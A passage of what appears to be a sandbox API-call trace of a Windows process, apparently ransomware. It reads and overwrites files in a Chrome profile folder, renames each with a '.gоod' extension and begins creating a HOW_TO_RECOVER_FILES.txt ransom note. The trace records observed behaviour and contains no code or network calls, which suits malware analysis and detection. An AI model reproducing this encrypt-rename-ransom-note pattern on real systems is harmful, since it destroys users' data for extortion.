lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", lpFilePart=0x0) returned 0x62 [0205.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0205.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x359e460 | out: lpFileInformation=0x359e460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5192b8e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76b4d40, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe76b4d40, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0205.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0205.384] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", lpFilePart=0x0) returned 0x62 [0205.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0205.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.384] GetFileType (hFile=0x7f8) returned 0x1 [0205.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0205.384] GetFileType (hFile=0x7f8) returned 0x1 [0205.384] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x10 [0205.384] ReadFile (in: hFile=0x7f8, lpBuffer=0x359e768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x359e768*, lpNumberOfBytesRead=0x1f6e9f08*=0x10, lpOverlapped=0x0) returned 1 [0205.386] CloseHandle (hObject=0x7f8) returned 1 [0205.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", lpFilePart=0x0) returned 0x62 [0205.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0205.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.591] GetFileType (hFile=0x7f8) returned 0x1 [0205.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0205.591] GetFileType (hFile=0x7f8) returned 0x1 [0205.592] WriteFile (in: hFile=0x7f8, lpBuffer=0x342dcc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x342dcc8*, lpNumberOfBytesWritten=0x1f6e9e18*=0x20, lpOverlapped=0x0) returned 1 [0205.592] CloseHandle (hObject=0x7f8) returned 1 [0205.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT", lpFilePart=0x0) returned 0x62 [0205.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.gоod", lpFilePart=0x0) returned 0x67 [0205.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0205.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5192b8e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe76b4d40, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x76c23d10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0205.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0205.593] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current.gоod")) returned 1 [0205.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", lpFilePart=0x0) returned 0x5f [0205.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0205.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x342efb0 | out: lpFileInformation=0x342efb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519291cb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x519291cb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x519291cb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0206.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0206.415] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", lpFilePart=0x0) returned 0x5f [0206.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0206.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0206.416] GetFileType (hFile=0x47c) returned 0x1 [0206.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0206.416] GetFileType (hFile=0x47c) returned 0x1 [0206.417] GetFileSize (in: hFile=0x47c, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x0 [0206.417] CloseHandle (hObject=0x47c) returned 1 [0206.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", lpFilePart=0x0) returned 0x5f [0206.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0206.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0207.569] GetFileType (hFile=0x820) returned 0x1 [0207.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0207.569] GetFileType (hFile=0x820) returned 0x1 [0207.569] WriteFile (in: hFile=0x820, lpBuffer=0x356d848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x356d848*, lpNumberOfBytesWritten=0x1f6e9e18*=0x10, lpOverlapped=0x0) returned 1 [0207.769] CloseHandle (hObject=0x820) returned 1 [0208.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK", lpFilePart=0x0) returned 0x5f [0208.626] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK.gоod", lpFilePart=0x0) returned 0x64 [0208.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0208.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519291cb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x519291cb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x780d4eee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0208.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0208.662] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\lock.gоod")) returned 1 [0208.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", lpFilePart=0x0) returned 0x5e [0208.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0208.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x368e910 | out: lpFileInformation=0x368e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7642653, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8b)) returned 1 [0208.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0208.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", lpFilePart=0x0) returned 0x5e [0208.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0208.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0208.664] GetFileType (hFile=0x478) returned 0x1 [0208.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0208.664] GetFileType (hFile=0x478) returned 0x1 [0208.664] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x8b [0208.664] ReadFile (in: hFile=0x478, lpBuffer=0x368ec78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x368ec78*, lpNumberOfBytesRead=0x1f6e9f08*=0x8b, lpOverlapped=0x0) returned 1 [0208.665] CloseHandle (hObject=0x478) returned 1 [0208.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", lpFilePart=0x0) returned 0x5e [0208.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0208.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0208.812] GetFileType (hFile=0x478) returned 0x1 [0208.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0208.812] GetFileType (hFile=0x478) returned 0x1 [0208.812] WriteFile (in: hFile=0x478, lpBuffer=0x34af1e8*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x34af1e8*, lpNumberOfBytesWritten=0x1f6e9e18*=0x90, lpOverlapped=0x0) returned 1 [0208.813] CloseHandle (hObject=0x478) returned 1 [0208.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG", lpFilePart=0x0) returned 0x5e [0208.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.gоod", lpFilePart=0x0) returned 0x63 [0208.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0208.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x518fab5a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7642653, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x78abfcfe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0208.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0208.813] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log.gоod")) returned 1 [0208.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", lpFilePart=0x0) returned 0x6a [0208.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0208.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004"), fInfoLevelId=0x0, lpFileInformation=0x34b0508 | out: lpFileInformation=0x34b0508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7668889, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32)) returned 1 [0208.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0208.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", lpFilePart=0x0) returned 0x6a [0208.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0208.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0208.815] GetFileType (hFile=0x478) returned 0x1 [0208.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0208.815] GetFileType (hFile=0x478) returned 0x1 [0208.815] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x32 [0208.815] ReadFile (in: hFile=0x478, lpBuffer=0x34b0878, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x34b0878*, lpNumberOfBytesRead=0x1f6e9f08*=0x32, lpOverlapped=0x0) returned 1 [0208.816] CloseHandle (hObject=0x478) returned 1 [0209.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", lpFilePart=0x0) returned 0x6a [0209.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0209.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.874] GetFileType (hFile=0x820) returned 0x1 [0209.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0209.874] GetFileType (hFile=0x820) returned 0x1 [0209.874] WriteFile (in: hFile=0x820, lpBuffer=0x35d7458*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x35d7458*, lpNumberOfBytesWritten=0x1f6e9e18*=0x40, lpOverlapped=0x0) returned 1 [0209.875] CloseHandle (hObject=0x820) returned 1 [0209.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004", lpFilePart=0x0) returned 0x6a [0209.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004.gоod", lpFilePart=0x0) returned 0x6f [0209.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0209.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7668889, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe7668889, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x794e41d2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0209.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0209.875] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000004.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000004.gоod")) returned 1 [0209.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0209.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0209.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\HOW_TO_RECOVER_FILES.txt" (normalized: 